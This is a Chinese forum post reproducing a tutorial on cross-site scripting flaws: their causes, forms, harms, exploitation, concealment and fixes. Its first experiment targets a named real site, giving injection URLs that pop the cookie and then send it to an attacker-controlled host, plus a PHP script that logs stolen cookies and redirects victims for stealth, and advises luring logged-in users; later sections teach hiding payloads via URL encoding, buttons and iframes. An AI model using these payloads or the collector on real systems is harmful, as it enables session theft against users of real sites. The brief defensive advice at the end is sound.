热搜词
发表于 2006-9-27 21:50:31 | 显示全部楼层 |阅读模式
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><A name=top><B><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">跨站脚本执行漏洞详解</SPAN></B></A></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt"><BR></SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【前言】<SPAN lang=EN-US> <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题(<SPAN lang=EN-US>FAQ</SPAN>),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够 比较详细的介绍该漏洞。由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负!<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【漏洞成因】<SPAN lang=EN-US> <BR></SPAN>原因很简单,就是因为<SPAN lang=EN-US>CGI</SPAN>程序没有对用户提交的变量中的<SPAN lang=EN-US>HTML</SPAN>代码进行过滤或转换。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【漏洞形式】<SPAN lang=EN-US> <BR></SPAN>这里所说的形式,实际上是指<SPAN lang=EN-US>CGI</SPAN>输入的形式,主要分为两种:<SPAN lang=EN-US> <BR>1</SPAN>.显示输入<SPAN lang=EN-US> <BR>2</SPAN>.隐式输入<SPAN lang=EN-US> <BR></SPAN>其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通 过输入数据来进行干涉。<SPAN lang=EN-US> <BR></SPAN>显示输入又可以分为两种:<SPAN lang=EN-US> <BR>1</SPAN>. 输入完成立刻输出结果<SPAN lang=EN-US> <BR>2</SPAN>. 输入完成先存储在文本文件或数据库中,然后再输出结果<SPAN lang=EN-US> <BR></SPAN>注意:后者可能会让你的网站面目全非!:(<SPAN lang=EN-US> <BR></SPAN>而隐式输入除了一些正常的情况外,还可以利用服务器或<SPAN lang=EN-US>CGI</SPAN>程序处理错误信息的方式来实施。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【漏洞危害】<SPAN lang=EN-US> <BR></SPAN>大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典 型的吧。<SPAN lang=EN-US> <BR>1</SPAN>. 获取其他用户<SPAN lang=EN-US>Cookie</SPAN>中的敏感数据<SPAN lang=EN-US> <BR>2</SPAN>. 屏蔽页面特定信息<SPAN lang=EN-US> <BR>3</SPAN>. 伪造页面信息<SPAN lang=EN-US> <BR>4</SPAN>. 拒绝服务攻击<SPAN lang=EN-US> <BR>5</SPAN>. 突破外网内网不同安全设置<SPAN lang=EN-US> <BR>6</SPAN>. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等<SPAN lang=EN-US> <BR>7</SPAN>. 其它<SPAN lang=EN-US> <BR></SPAN>一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的 网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【利用方式】<SPAN lang=EN-US> <BR></SPAN>下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条 理更清晰一些,我们将针对每种危害做一个实验。<SPAN lang=EN-US> <BR></SPAN>为了做好这些实验,我们需要一个抓包软件,我使用的是<SPAN lang=EN-US>Iris</SPAN>,当然你可以选择其它的软件,比如<SPAN lang=EN-US> NetXray</SPAN>什么的。至于具体的使用方法,请参考相关帮助或手册。<SPAN lang=EN-US> <BR></SPAN>另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。<SPAN lang=EN-US> <BR></SPAN>好的,一切就绪,我们开始做实验!:)<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">实验一:获取其他用户<SPAN lang=EN-US>Cookie</SPAN>中的敏感信息<SPAN lang=EN-US> <BR></SPAN>我们以国内著名的同学录站点<SPAN lang=EN-US>5460.net</SPAN>为例来说明一下,请按照下面的步骤进行:<SPAN lang=EN-US> <BR>1</SPAN>. 进入首页<SPAN lang=EN-US>http://www.5460.net/ <BR>2</SPAN>. 输入用户名<SPAN lang=EN-US>“&lt;h1&gt;”</SPAN>,提交,发现服务器返回信息中包含了用户提交的<SPAN lang=EN-US>“&lt;h1&gt;”</SPAN>。<SPAN lang=EN-US> <BR>3</SPAN>. 分析抓包数据,得到实际请求:<SPAN lang=EN-US> <BR>http://www.5460.net/txl/login/login.pl?username=&lt;h1&gt;&amp;passwd=&amp;ok.x=28&amp;ok.y=6 <BR>4</SPAN>. 构造一个提交,目标是能够显示用户<SPAN lang=EN-US>Cookie</SPAN>信息:<SPAN lang=EN-US> <BR>http://www.5460.net/txl/login/login.pl?username=&lt;script&gt;alert(document.cookie)&lt;/ script&gt;&amp;passwd=&amp;ok.x=28&amp;ok.y=6 <BR>5</SPAN>. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:<SPAN lang=EN-US> <BR>http://www.5460.net/txl/login/login.pl?username=&lt;script&gt;window.open("http://www.notfound.org/ info.php?"%2Bdocument.cookie)&lt;/script&gt;&amp;passwd=&amp;ok.x=28&amp;ok.y=6 <BR></SPAN>其中<SPAN lang=EN-US>http://www.notfound.org/info.php</SPAN>是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:<SPAN lang=EN-US> <BR>&lt;?php <BR>$info = getenv("QUERY_STRING"); <BR>if ($info) { <BR>$fp = fopen("info.txt","a"); <BR>fwrite($fp,$info."/n"); <BR>fclose($fp); <BR>} <BR>header("Location: http://www.5460.net"); <BR></SPAN>注:<SPAN lang=EN-US>“%2B”</SPAN>为<SPAN lang=EN-US>“+”</SPAN>的<SPAN lang=EN-US>URL</SPAN>编码,并且这里只能用<SPAN lang=EN-US>“%2B”</SPAN>,因为<SPAN lang=EN-US>“+”</SPAN>将被作为空格处理。后面的<SPAN lang=EN-US>header</SPAN>语 句则纯粹是为了增加隐蔽性。<SPAN lang=EN-US> <BR>6</SPAN>. 如果上面的<SPAN lang=EN-US>URL</SPAN>能够正确运行的话,下一步就是诱使登陆<SPAN lang=EN-US>5460.net</SPAN>的用户访问该<SPAN lang=EN-US>URL</SPAN>,而我们就可以 获取该用户<SPAN lang=EN-US>Cookie</SPAN>中的敏感信息。<SPAN lang=EN-US> <BR>7</SPAN>. 后面要做什么就由你决定吧!<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">实验二:屏蔽页面特定信息<SPAN lang=EN-US> <BR></SPAN>我们仍然以<SPAN lang=EN-US>5460.net</SPAN>作为例子,下面是一个有问题的<SPAN lang=EN-US>CGI</SPAN>程序:<SPAN lang=EN-US> <BR>http://www.5460.net/txl/liuyan/liuyanSql.pl <BR></SPAN>该<SPAN lang=EN-US>CGI</SPAN>程序接受用户提供的三个变量,即<SPAN lang=EN-US>nId</SPAN>,<SPAN lang=EN-US>csId</SPAN>和<SPAN lang=EN-US>cName</SPAN>,但是没有对用户提交的<SPAN lang=EN-US>cName</SPAN>变量进行任何检 查,而且该<SPAN lang=EN-US>CGI</SPAN>程序把<SPAN lang=EN-US>cName</SPAN>的值作为输出页面的一部分,<SPAN lang=EN-US>5460.net</SPAN>的用户应该都比较清楚留言右下角有你的名字,对吧?<SPAN lang=EN-US> <BR></SPAN>既然有了上面的种种条件,我们可以不妨作出下面的结论:<SPAN lang=EN-US> <BR></SPAN>某个用户可以<SPAN lang=EN-US>“</SPAN>屏蔽<SPAN lang=EN-US>”</SPAN>其两次留言之间的所有留言!<SPAN lang=EN-US> <BR></SPAN>当然,我们说的<SPAN lang=EN-US>“</SPAN>屏蔽<SPAN lang=EN-US>”</SPAN>不是<SPAN lang=EN-US>“</SPAN>删除<SPAN lang=EN-US>”</SPAN>,用户的留言还是存在的,只不过由于<SPAN lang=EN-US>HTML</SPAN>的特性,我们无法从 页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是出了我们这些研究<SPAN lang=EN-US>CGI</SPAN>安全的人来 说,有多少人有事没事都看<SPAN lang=EN-US>HTML</SPAN>源代码?<SPAN lang=EN-US> <BR></SPAN>由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。<SPAN lang=EN-US> <BR></SPAN>注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,<SPAN lang=EN-US>Right</SPAN>?<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">实验三:伪造页面信息<SPAN lang=EN-US> <BR></SPAN>如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而 已。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">实验四:拒绝服务攻击<SPAN lang=EN-US> <BR></SPAN>现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们 就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的<SPAN lang=EN-US>JavaScript</SPAN>脚本 等等。这样访问该<SPAN lang=EN-US>URL</SPAN>的用户系统就可能因此速度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那 么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可以隐藏身份。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">实验五:突破外网内网不同安全设置<SPAN lang=EN-US> <BR></SPAN>这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说,对于<SPAN lang=EN-US> Internet</SPAN>区域,可能你不允许<SPAN lang=EN-US>JavaScript</SPAN>执行,而在<SPAN lang=EN-US>Intranet</SPAN>区域,你就允许<SPAN lang=EN-US>JavaScript</SPAN>执行。一般来说,前者的 安全级别都要高于后者。这样,一般情况下别人无法通过执行恶意<SPAN lang=EN-US>JavaScript</SPAN>脚本对你进行攻击,但是如果 与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于<SPAN lang=EN-US>Intranet </SPAN>区域。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等<SPAN lang=EN-US> <BR></SPAN>由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这 些问题大家都应该很清楚吧,前些时间的修改<SPAN lang=EN-US>IE</SPAN>标题漏洞,错误<SPAN lang=EN-US>MIME</SPAN>类型执行命令漏洞,还有多种多样 的蠕虫,都是很好的例子。<SPAN lang=EN-US> <BR></SPAN>更多的例子请参考下列链接:<SPAN lang=EN-US> <BR>Internet Explorer Pop-Up OBJECT Tag Bug <BR>http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html <BR>Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability <BR>http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html <BR>MSIE6 can read local files <BR>http://www.xs4all.nl/~jkuperus/bug.htm <BR>MSIE may download and run progams automatically <BR>http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html <BR>File extensions spoofable in MSIE download dialog <BR>http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html <BR>the other IE cookie stealing bug (MS01-055) <BR>http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html <BR>Microsoft Security Bulletin MS01-055 <BR>http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html <BR>Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing <BR>http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html <BR>Incorrect MIME Header Can Cause IE to Execute E-mail Attachment <BR>http://www.kriptopolis.com/cua/eml.html <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">实验七:其它<SPAN lang=EN-US> <BR></SPAN>其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很有必要的。问题的实质还 是<SPAN lang=EN-US>CGI</SPAN>程序没有过滤用户提交的数据,然后进行了输出处理。举个例子来说,支持<SPAN lang=EN-US>SSI</SPAN>的服务器上的<SPAN lang=EN-US>CGI</SPAN>程 序输出了用户提交的数据,无论该数据是采取何种方式输入,都可能导致<SPAN lang=EN-US>SSI</SPAN>指令的执行。当然,这是在服 务端,而不是客户端执行。其实像<SPAN lang=EN-US>ASP</SPAN>,<SPAN lang=EN-US>PHP</SPAN>和<SPAN lang=EN-US>Perl</SPAN>等<SPAN lang=EN-US>CGI</SPAN>语言都可能导致这种问题。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【隐藏技巧】<SPAN lang=EN-US> <BR></SPAN>出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书 看吧。<SPAN lang=EN-US> <BR>1</SPAN>.<SPAN lang=EN-US> URL</SPAN>编码<SPAN lang=EN-US> <BR></SPAN>比较一下:<SPAN lang=EN-US> <BR>http://www.5460.net/txl/login/login.pl?username=&lt;h1&gt;&amp;passwd=&amp;ok.x=28&amp;ok.y=6 <BR>http://www.5460.net/txl/login/login.pl?username=%<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" /><st1:chmetcnv w:st="on" UnitName="C" SourceValue="3" HasSpace="False" Negative="False" NumberType="1" TCSC="0">3C</st1:chmetcnv>%68%31%3E&amp;passwd=&amp;ok.x=28&amp;ok.y</SPAN>=<SPAN lang=EN-US>6 <BR></SPAN>你觉得哪个更有隐蔽性?!<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">2</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">. 隐藏在其它对象之下<SPAN lang=EN-US> <BR></SPAN>与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">3</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">. 嵌入页面中<SPAN lang=EN-US> <BR></SPAN>让别人访问一个地址(注意这里的地址不同于上面提到的<SPAN lang=EN-US>URL</SPAN>),是不是又要比让别人按一个按钮容易得 多,借助于<SPAN lang=EN-US>Iframe</SPAN>,你可以把这种攻击变得更隐蔽。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">4</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">. 合理利用事件<SPAN lang=EN-US> <BR></SPAN>合理使用事件,在某些情况上可以绕过<SPAN lang=EN-US>CGI</SPAN>程序对输入的限制,比如说前些日子的<SPAN lang=EN-US>SecurityFocus</SPAN>的跨站脚本 执行漏洞。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【注意事项】<SPAN lang=EN-US> <BR></SPAN>一般情况下直接进行类似<SPAN lang=EN-US>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</SPAN>之类的攻击没有什么问题,但是有时<SPAN lang=EN-US> CGI</SPAN>程序对用户的输入进行了一些处理,比如说包含在<SPAN lang=EN-US>’’</SPAN>或<SPAN lang=EN-US>””</SPAN>之内,这时我们就需要使用一些小技巧 来绕过这些限制。<SPAN lang=EN-US> <BR></SPAN>如果你对<SPAN lang=EN-US>HTML</SPAN>语言比较熟悉的话,绕过这些限制应该不成问题。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【解决方法】<SPAN lang=EN-US> <BR></SPAN>要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:<SPAN lang=EN-US> <BR></SPAN>程序员:<SPAN lang=EN-US> <BR>1</SPAN>. 过滤或转换用户提交数据中的<SPAN lang=EN-US>HTML</SPAN>代码<SPAN lang=EN-US> <BR>2</SPAN>. 限制用户提交数据的长度<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">用户:<SPAN lang=EN-US> <BR>1</SPAN>. 不要轻易访问别人给你的链接<SPAN lang=EN-US> <BR>2</SPAN>. 禁止浏览器运行<SPAN lang=EN-US>JavaScript</SPAN>和<SPAN lang=EN-US>ActiveX</SPAN>代码<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">附:常见浏览器修改设置的位置为:<SPAN lang=EN-US> <BR>Internet Explorer</SPAN>:<SPAN lang=EN-US> <BR></SPAN>工具<SPAN lang=EN-US>-&gt;Internet</SPAN>选项<SPAN lang=EN-US>-&gt;</SPAN>安全<SPAN lang=EN-US>-&gt;Internet-&gt;</SPAN>自定义级别<SPAN lang=EN-US> <BR></SPAN>工具<SPAN lang=EN-US>-&gt;Internet</SPAN>选项<SPAN lang=EN-US>-&gt;</SPAN>安全<SPAN lang=EN-US>-&gt;Intranet-&gt;</SPAN>自定义级别<SPAN lang=EN-US> <BR>Opera</SPAN>:<SPAN lang=EN-US> <BR></SPAN>文件<SPAN lang=EN-US>-&gt;</SPAN>快速参数<SPAN lang=EN-US>-&gt;</SPAN>允许使用<SPAN lang=EN-US>Java <BR></SPAN>文件<SPAN lang=EN-US>-&gt;</SPAN>快速参数<SPAN lang=EN-US>-&gt;</SPAN>允许使用插件<SPAN lang=EN-US> <BR></SPAN>文件<SPAN lang=EN-US>-&gt;</SPAN>快速参数<SPAN lang=EN-US>-&gt;</SPAN>允许使用<SPAN lang=EN-US>JavaScript <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">【常见问题】<SPAN lang=EN-US> <BR>Q</SPAN>:跨站脚本执行漏洞在哪里存在?<SPAN lang=EN-US> <BR>A</SPAN>:只要是<SPAN lang=EN-US>CGI</SPAN>程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 12pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">Q</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">:跨站脚本执行漏洞是不是只能偷别人的<SPAN lang=EN-US>Cookie</SPAN>?<SPAN lang=EN-US> <BR>A</SPAN>:当然不是!<SPAN lang=EN-US>HTML</SPAN>代码能做的,跨站脚本执行漏洞基本都能做。<SPAN lang=EN-US> <o:p></o:p></SPAN></SPAN></P><P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-11-23 01:26 , Processed in 0.142774 second(s), 22 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team